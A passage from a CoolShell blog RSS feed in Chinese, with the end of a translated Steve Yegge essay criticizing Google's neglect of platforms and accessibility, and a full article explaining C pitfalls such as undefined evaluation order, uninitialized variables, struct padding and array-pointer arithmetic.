显的例子，从最高层的管理层（嗨，Larry、Sergey、Eric、Vic，你们好）一直到最最底层的员工（嘿，你）都不懂。我们全部统统都不懂。平台Platform的黄金守则是Eat Your Own Dogfood（吃你自己的狗食——自己都要用自己的平台）。Google+这个平台是个杯具的事后抄袭者。我们在发布它的时候完全没有任何API。我查了一下，目前也只有少得可怜的API。Google+的一个团队的成员在发布API时告诉我这个事，我问：“这是Stalker API（用来偷窥内部数据的API）吗？”，她郁闷地说，“是啊”。我的意思是，我那只是个玩笑话，但是，不，我们提供的唯一的API就是取得某人的信息流，所以，我想我把玩笑开到自己头上了。</p>\n<p>Microsoft知道“狗食守则”至少有20年了。这已经成为他们世世代代文化的一部分了。不能是你吃人类的食物而给你的开发人员们喂狗食。那样做只会是为了短期的成功而掠夺了平台长期价值。平台就是要你考虑得长远。</p>\n<p>Google+就像膝跳反射，一种短视的的东西，是基于以为Facebook其伟大产品的成功作出的错误判断。但那不是为什么他们能成功的东西。Facebook的成功是因为他们建立了一个可以让外界在其上上面开发的产品群。所以对Facebook对每个人来都不一样。有些人把全部时间花在“Mafia Wars”上，有些人则是花在“Farmville”（开心农场）。那里还有成百上千个不同的高质量的时间消耗类的游戏，所以，人们总是可以在那里找到他们想要的。</p>\n<p>我们的Google+团队看了看说：“哎呀，看来我们需要一些游戏，让我们去找一些人来为我们写些游戏吧”。你是否开始看到这样的的思考有多么不靠谱了吗？问题在于我们试图在预测人们想要什么，然后推出产品给他们。</p>\n<p>你不能这么做。真的不能。也不可靠。在这个世上，甚至在整个计算机的历史上，只有极少数几个人能够这么干，Steve Jobs是其中一个。但是我们没有Steve Jobs。对不起，我们真的没有。</p>\n<p>Larry Tesler有可能说服了Bezos相信他并不是Steve Jobs，但Bezos意识到他不需要成为Steve Jobs也能提供给所有人好的产品：大家感到容易使用的接口与工作流。Bezos明白他只要有让第三方开发人员来做的平台，这些东西自然就会有的。</p>\n<p>我要向一些人道歉，这些人会觉得我所说的是再明显不过的了。是的，的确是巨明显的。只是我们没有去做。我们没有领会平台，我们也无法领会到Accessibility。这两者本来就是同一件事，因为平台会解决Accessibility。而平台就是Accessibility。</p>\n<ul>\n<li>是的，Microsoft领会到了。而且你们也像我一样知道Microsoft他们对这些东西一知半解。那是因为他们能够了解平台完全是他们商业上意外性的副产品，是他们一开始的业务就是提供平台。所以他们在这个领域有着三十多年的经验。如果你去看看 <a href=\"http://msdn.com/\" target=\"_blank\">msdn.com</a>，并多花点时间浏览一下，假设你以前从没去看过，你等着被吓到吧，因为那里面的东西可是多得不能再多。他们拥有<strong>成千成千成千</strong>个API。他们拥有一个<strong>超巨大</strong>的平台。说实话，太巨大了，因为他们要霸占一切，但至少他们做了。</li>\n</ul>\n<ul>\n<li>Amazon也领会了到了。Amazon的AWS(<a href=\"http://aws.amazon.com/\">aws.amazon.com</a>)相当的惊人。去看看吧，四处点一下。令人羞耻吧。我们今天什么都还没有。</li>\n</ul>\n<ul>\n<li>很明显Apple也领会到了。他们做了在基础上不开放的选择，具体来说是移动平台。但是他们明白什么是Accessibility，并且他们知道如何燃起第三方开发团体的力量，而且他们吃自己的狗食。你知道吗？他们的狗食做得很好吃啊。他们的APIs比Microsoft的要干净不知道多少倍，而且是远古的时候就这样了。</li>\n</ul>\n<ul>\n<li>Facebook也领会到了。这正是让我所担心的。这使得我不得我抬起懒惰屁股写下这些东西。我恨写Blog。我恨……Plus（指Google Plus）不管怎么称呼它，反正在Google+上发表长篇大论，就算这是个糟糕的地方，但是你还是希望Google能成功.我真希望！我的意思是，Facebook想挖我，而且很容易就去了。但Google是我的家，所以我坚持我这个小小的家庭干涉，就算你不舒服。</li>\n</ul>\n<p>等到你为Microsoft与Amazon提供的平台感到神奇后，当然，我想也你可能会被Facebook吓到（我不敢去看，因为我不想让我太沮丧），让我们回头看看 <a href=\"http://developers.google.com/\">developers.google.com</a> 。是不是有很大的差别？我们的这个平台看起来像是你家小学五年级的侄子搞出来的东西一样——让一个小学五年级的学生，试着为一个强大的的平台公司去设计平台，就像像我们问这个小学生：“如果这家公司什么资源都有，那你会做出个什么东西来？” 一样。</p>\n<p>这里请不要误解我——我知道一个事实，dev-rel 团队为了发布这些API曾经不得不去“搏斗”。据我所知，这个团队很不错，因为他们知道什么是平台，并且他们如英雄般努力挣扎地要做出来，然而遇到的却是“平台冷漠”的环境，难听点还是那种有敌意的环境。</p>\n<p>我只是在直白地描述出一下 <a href=\"http://developers.google.com/\" target=\"_blank\">developers.google.com</a> 在外人眼里是什么样子。它看起来很幼稚。Maps APIs在哪呢，老天啊？其中有些东西还是实验性的项目，我点进去看的APIs……他们都毫无价值。他们很明显都是些真正的狗食。甚至都称不上是好的有机食品。跟我们内部APIs比起来，他们全部简直就是猪屎马粪。</p>\n<p>当然，也不要错误地理解我对Google+的看法。他们还不算是最差的。这是文化氛围的事。我们现在做的简单来说就是要进行一场战争，是一场失败很多的少数的平台派和那些强大的信心坚持的产品派的战争。</p>\n<p>那些从头到尾明白理解供外部可程序化的平台概念的团队都是受压迫的人——Maps跟Docs团队浮现在我脑海中，而且我也知道GMail是这个方向的先头部队，但是他们很难得到资金注入，因为这不是我们文化的一部分。Maestro的资金完全没法和Microsoft Office开发平台的资金相比：就像小白兔和暴龙相比一样。Docs团队知道自己永远无法和Office竞争，除非他们能赶上Office的脚本能力，而且他们得不到他们相要的资源。我的意思是我假定他们没有，现在应用的脚本能力只在电子表格中有，而且没有为API设置键盘快捷键。在我看来，这个团队完全没有被重视。</p>\n<p>具有讽刺意的是，Wave是个伟大的平台，愿他能安静地长眠。我们需要知道，做一个平台并不会马上给带来成功。平台需要杀手级应用。Facebook——他们供应了的涂鸦墙和朋友关系网等其他东西——则是Facebook平台的杀手级应用。但是，如果你说没有Facebook平台，仅有Facebook应用也能像今天这样成功，那么，这会是一个非常严重的错误。</p>\n<p>你知道吗？人们总是在说Google的傲慢自大。我是个Google人，所以我和你一样当听到那些话都会觉得很愤怒。但总体而言，我们并不傲慢。我们大约99%不自大。我在文章开头时就写到——如果你回去看看—— 我是这样描述Google的“所有的事都做对了”。我们知道人们为什么要这么说我们自大，因为我们没有雇用他们，或是因为他们对我们的政策不爽，或是那一类的事情。他们推断出我们自大是因为这样会让他们心理平衡一些。（陈皓注：作者在这里的反话正说）</p>\n<p>但是，当我们摆出那种我们知道怎么给用户设计出完美的产品的姿态时，你最好相信我，我们就是笨蛋。你可以说是自大，天真，或是别的什么，无所谓，但最终的结果就是我们干的很愚蠢。因为，这世界不可能有一个产品对所有人都是完美的。</p>\n<p>你看，我们的浏览器居然不能让人设定默认的字号。这就是我们对Accessibility的公然冒犯。我的意思是，我总有一天会老的，我也会得老花眼，并会变瞎的。我的意思是我不会变瞎，但是如果你到了40岁，你的老花眼让你看不清近的东西。那么，字号的选择会成为生和死的问题：某用户就会被完全排除在产品之外。但是Chrome团队就是这么NB傲慢：他们想要开发出无需配置的产品，他们对此相当自豪，去你TMD是瞎子还聋子，管你是谁，在你剩下的日子每访问一个页面都按一下Ctrl-+吧。</p>\n<p>并不仅是他们是第一个。问题是，我们是一家“产品”公司，一直一直都是。我们开发的最成功最有吸引力的产品——搜索引擎，那样巨大的成功让我们产生了很多定式和偏见。</p>\n<ul>\n<li>Amazon过去也是家产品公司，一道神秘的力量使得Bezos领悟到他们需要平台。那道神秘力量来源于，他们被 逐渐蒸发的市值逼到墙角了，不得不想方设法突围出来。但他当时所拥有的只有一群工程师和他们的一堆计算机……除非他们能变成印钞机……你可以看到他们是怎么搞出来AWS的，而不是像我们Google+一样事后诸葛亮。</li>\n</ul>\n<ul>\n<li>Microsoft从一开始就是个平台，所以他们有很多很多的实践。</li>\n</ul>\n<ul>\n<li>Facebook：我有些没看透。我不是专家，不过我很肯定他们一开始也是一个产品，并且成功了很长时间。所以我不知道他们什么时候开始转变成为平台的。应该是很久以前的事了，因为他们要成为平台后，Mafia Wars这玩意才会出现（而Mafia Wars也很老了）。也许，Facebook只是看一眼我们，就问到：“我们如何击败Google？他们少了什么？”</li>\n</ul>\n<p>我们面对的问题非常的庞大，因为我们需要经过剧烈的文化转变后，我们才能迎头赶上。我们没有内部的SOA平台，所以我们外部也没有。这就是说，我们整个公司都“没有领会到”：产品经理没有，工程师没有，产品团队没有，没人领会到。就算是个别人有，比如你你有，那也相当于没有，除非我们在生死存亡的时候。我们不能这样不断推出产品，并装作我们以后会把这些产品转变成迷人美丽的可扩展式的平台。我们试过了，不行。</p>\n<p>平台的黄金守则，“Eat Your Own Dogfood 吃自己的狗食”，换句话说，“先打造出自己使用平台，然后把它用在所有的地方”。你不能事后再做，那样做就太困难了——你去问问那些把MS Office平台化、把Amazon平台化的人。如果你放在后面做，那么你比一开始要花十倍的精力才能做对。你不能作弊，你不能让内部软件走秘密通道以取得特定的优先权限，不为什么，你必需从一开始就要解决这个问题。</p>\n<p>我不是说现在做已经太迟了，但我们等的越长，我们就会越接近——“太迟了”。</p>\n<p>老实说，我不知道这篇文章怎么收尾。我今天在这里说得太多了。因为这篇文章花了我6年时间。请包涵我言语冒犯之处，包涵我可能误解了一些产品，团队，或某个人。也许我们真的在开始做了很多平台方面的东西，只是我没看到。我只想说声对不起。</p>\n<p>但是，我们现在开始必需把事做对了！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" alt=\"三个事和三个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_title\">三个事和三个问题</a></li><li ><a href=\"https://coolshell.cn/articles/5901.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"腾讯，竞争力 和 用户体验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5901.html\" class=\"wp_rp_title\">腾讯，竞争力 和 用户体验</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5701.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>170</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>深入理解C语言</title>\n\t\t<link>https://coolshell.cn/articles/5761.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5761.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 01 Nov 2011 00:26:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Dennis Ritchie]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5761</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Dennis Ritchie  过世了，他发明了C语言，一个影响深远并彻底改变世界的计算机语言。一门经历40多年的到今天还长盛不衰的语言，今天很多语言都受到C的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5761.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5761.html\">深入理解C语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Dennis Ritchie  过世了，他发明了C语言，一个影响深远并彻底改变世界的计算机语言。一门经历40多年的到今天还长盛不衰的语言，今天很多语言都受到C的影响，C++，Java，C#，Perl， PHP， Javascript， 等等。但是，你对C了解吗？相信你看过本站的《<a title=\"C语言的谜题\" href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\">C语言的谜题</a>》还有《<a title=\"谁说C语言很简单？\" href=\"https://coolshell.cn/articles/873.html\" target=\"_blank\">谁说C语言很简单？</a>》，这里，我再写一篇关于深入理解C语言的文章，一方面是缅怀Dennis，另一方面是告诉大家应该如何学好一门语言。（顺便注明一下，下面的一些例子来源于<a href=\"http://www.slideshare.net/olvemaudal/deep-c\" target=\"_blank\">这个slides</a>）</p>\n<p>首先，我们先来看下面这个经典的代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int main()\n{\n    int a = 42;\n    printf(“%d\\n”, a);\n}</pre>\n<p>从这段代码里你看到了什么问题？我们都知道，这段程序里少了一个#include &lt;stdio.h&gt; 还少了一个return 0;的返回语句。</p>\n<p>不过，让我们来深入的学习一下，</p>\n<ul>\n<li>这段代码在C++下无法编译，因为C++需要明确声明函数</li>\n<li>这段代码在C的编译器下会编译通过，因为在编译期，编译器会生成一个printf的函数定义，并生成.o文件，链接时，会找到标准的链接库，所以能编译通过。</li>\n<li> 但是，你知道这段程序的退出码吗？在ANSI-C下，退出码是一些未定义的垃圾数。但在C89下，退出码是3，因为其取了printf的返回值。为什么printf函数返回3呢？因为其输出了&#8217;4&#8242;, &#8216;2&#8217;,&#8217;\\n&#8217; 三个字符。而在C99下，其会返回0，也就是成功地运行了这段程序。你可以使用gcc的 -std=c89或是-std=c99来编译上面的程序看结果。</li>\n<li>另外，我们还要注意main()，在C标准下，如果一个函数不要参数，应该声明成main(void)，而main()其实相当于main(&#8230;)，也就是说其可以有任意多的参数。</li>\n</ul>\n<p>我们再来看一段代码：</p>\n<p><span id=\"more-5761\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\nvoid f(void)\n{\n   static int a = 3;\n   static int b;\n   int c;\n   ++a; ++b; ++c;\n   printf(&quot;a=%d\\n&quot;, a);\n   printf(&quot;b=%d\\n&quot;, b);\n   printf(&quot;c=%d\\n&quot;, c);\n}\nint main(void)\n{\n   f();\n   f();\n   f();\n}</pre>\n<p>这个程序会输出什么？</p>\n<ul>\n<li>我相信你对a的输出相当有把握，就分别是4，5，6，因为那个静态变量。</li>\n<li>对于c呢，你应该也比较肯定，那是一堆乱数。</li>\n<li>但是你可能不知道b的输出会是什么？答案是1，2，3。为什么和c不一样呢？因为，如果要初始化，每次调用函数里，编译器都要初始化函数栈空间，这太费性能了。但是c的编译器会初始化静态变量为0，因为这只是在启动程序时的动作。</li>\n<li>全局变量同样会被初始化。</li>\n</ul>\n<p>说到全局变量，你知道 静态全局变量和一般全局变量的差别吗？是的，对于static 的全局变量，其对链接器不可以见，也就是说，这个变量只能在当前文件中使用。</p>\n<p>我们再来看一个例子：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nvoid foo(void)\n{\n    int a;\n    printf(&quot;%d\\n&quot;, a);\n}\nvoid bar(void)\n{\n    int a = 42;\n}\nint main(void)\n{\n    bar();\n    foo();\n}\n</pre>\n<p>你知道这段代码会输出什么吗？A) 一个随机值，B) 42。A 和 B都对（在“<a title=\"在函数外存取局部变量的一个比喻\" href=\"https://coolshell.cn/articles/4907.html\" target=\"_blank\">在函数外存取局部变量的一个比喻</a>”文中的最后给过这个例子），不过，你知道为什么吗？</p>\n<ul>\n<li>如果你使用一般的编译，会输出42，因为我们的编译器优化了函数的调用栈（重用了之前的栈），为的是更快，这没有什么副作用。反正你不初始化，他就是随机值，既然是随机值，什么都无所谓。</li>\n<li>但是，如果你的编译打开了代码优化的开关，-O，这意味着，foo()函数的代码会被优化成main()里的一个inline函数，也就是说没有函数调用，就像宏定义一样。于是你会看到一个随机的垃圾数。</li>\n</ul>\n<p>下面，我们再来看一个示例：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint b(void) { printf(“3”); return 3; }\nint c(void) { printf(“4”); return 4; }\nint main(void)\n{\n   int a = b() + c();\n   printf(“%d\\n”, a);\n}</pre>\n<p>这段程序会输出什么？，你会说是，3，4，7。但是我想告诉你，这也有可能输出，4，3，7。为什么呢？ 这是因为，在C/C++中，表达的评估次序是没有标准定义的。编译器可以正着来，也可以反着来，所以，不同的编译器会有不同的输出。你知道这个特性以后，你就知道这样的程序是没有可移植性的。</p>\n<p>我们再来看看下面的这堆代码，他们分别输出什么呢？</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int a=41; a++; printf(&quot;%d\\n&quot;, a);</code><br />\n<code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int a=41; a++ &amp; printf(&quot;%d\\n&quot;, a);</code><br />\n<code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int a=41; a++ &amp;&amp; printf(&quot;%d\\n&quot;, a);</code><br />\n<code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int a=41; if (a++ &lt; 42) printf(&quot;%d\\n&quot;, a);</code><br />\n<code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int a=41; a = a++; printf(&quot;%d\\n&quot;, a);</code></p>\n<p>只有示例一，示例三，示例四输出42，而示例二和五的行为则是未定义的。关于这种未定义的东西是因为Sequence Points的影响（Sequence Points是一种规则，也就是程序执行的序列点，在两点之间的表达式只能对变量有一次修改），因为这会让编译器不知道在一个表达式顺列上如何存取变量的值。比如a = a++，a + a++，不过，在C中，这样的情况很少。</p>\n<p>下面，再看一段代码：（假设int为4字节，char为1字节）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct X { int a; char b; int c; };\nprintf(&quot;%d,&quot;, sizeof(struct X));\nstruct Y { int a; char b; int c; char d};\nprintf(&quot;%d\\n&quot;, sizeof(struct Y));</pre>\n<p>这个代码会输出什么?</p>\n<p style=\"padding-left: 30px;\">a) 9，10<br />\nb)12, 12<br />\nc)12, 16</p>\n<p>答案是C，我想，你一定知道字节对齐，是向4的倍数对齐。</p>\n<ul>\n<li>但是，你知道为什么要字节对齐吗？还是因为性能。因为这些东西都在内存里，如果不对齐的话，我们的编译器就要向内存一个字节一个字节的取，这样一来，struct X，就需要取9次，太浪费性能了，而如果我一次取4个字节，那么我三次就搞定了。所以，这是为了性能的原因。</li>\n<li>但是，为什么struct Y不向12 对齐，却要向16对齐，因为char d; 被加在了最后，当编译器计算一个结构体的尺寸时，是边计算，边对齐的。也就是说，编译器先看到了int，很好，4字节，然后是 char，一个字节，而后面的int又不能填上还剩的3个字节，不爽，把char b对齐成4，于是计算到d时，就是13 个字节，于是就是16啦。但是如果换一下d和c的声明位置，就是12了。</li>\n</ul>\n<p>另外，再提一下，上述程序的printf中的%d并不好，因为，在64位下，sizeof的size_t是unsigned long，而32位下是 unsigned int，所以，C99引入了一个专门给size_t用的%zu。这点需要注意。在64位平台下，C/C++ 的编译需要注意很多事。你可以参看《<a title=\"64位平台C/C++开发注意事项\" href=\"https://coolshell.cn/articles/3512.html\" target=\"_blank\">64位平台C/C++开发注意事项</a>》。</p>\n<p>下面，我们再说说编译器的Warning，请看代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\nint main(void)\n{\n    int a;\n    printf(&quot;%d\\n&quot;, a);\n}</pre>\n<p>考虑下面两种编译代码的方式 ：</p>\n<ul>\n<li>cc -Wall a.c</li>\n<li>cc -Wall -O a.c</li>\n</ul>\n<p>前一种是不会编译出a未初化的警告信息的，而只有在-O的情况下，才会有未初始化的警告信息。这点就是为什么我们在makefile里的CFLAGS上总是需要-Wall和 -O。</p>\n<p>最后，我们再来看一个指针问题，你看下面的代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\nint main(void)\n{\n    int a[5];\n    printf(&quot;%x\\n&quot;, a);\n    printf(&quot;%x\\n&quot;, a+1);\n    printf(&quot;%x\\n&quot;, &amp;a);\n    printf(&quot;%x\\n&quot;, &amp;a+1);\n}</pre>\n<p>假如我们的a的地址是：0Xbfe2e100, 而且是32位机，那么这个程序会输出什么？</p>\n<ul>\n<li>第一条printf语句应该没有问题，就是 bfe2e100</li>\n<li>第二条printf语句你可能会以为是bfe2e101。那就错了，a+1，编译器会编译成 a+ 1*sizeof(int)，int在32位下是4字节，所以是加4，也就是bfe2e104</li>\n<li>第三条printf语句可能是你最头疼的，我们怎么知道a的地址？我不知道吗？可不就是bfe2e100。那岂不成了a==&amp;a啦？这怎么可能？自己存自己的？也许很多人会觉得指针和数组是一回事，那么你就错了。如果是 int *a，那么没有问题，因为a是指针，所以 &amp;a 是指针的地址，a 和 &amp;a不一样。但是这是数组啊a[]，所以&amp;a其实是被编译成了 &amp;a[0]。</li>\n<li>第四条printf语句就很自然了，就是bfe2e104。还是不对，因为是&amp;a是数组，被看成int(*)[5]，所以sizeof(a)是5，也就是5*sizeof(int)，也就是bfe2e114。</li>\n</ul>\n<p>看过这么多，你可能会觉得C语言设计得真扯淡啊。不过我要告诉下面几点Dennis当初设计C语言的初衷：</p>\n<p style=\"padding-left: 30px;\"><strong>1）相信程序员，不阻止程序员做他们想做的事。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）保持语言的简洁，以及概念上的简单。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>3）保证性能，就算牺牲移植性。</strong></p>\n<p>今天很多语言进化得很高级了，语法也越来越复杂和强大，但是C语言依然光芒四射，Dennis离世了，但是C语言的这些设计思路将永远不朽。</p>\n<p><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5761.html\">深入理解C语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5761.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>190</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>API设计：用流畅接口构造内部DSL</title>\n\t\t<link>https://coolshell.cn/articles/5709.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5709.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Mon, 31 Oct 2011 00:28:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[API]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Ruby]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5709</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>感谢@weidagang （Todd）向酷壳投递本文。 程序设计语言的抽象机制包含了两个最基本的方面：一是语言关注的基本元素/语义；另一个是从基本元素/语义到复...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5709.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5709.html\">API设计：用流畅接口构造内部DSL</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>感谢<a href=\"http://weibo.com/n/weidagang\">@weidagang</a> 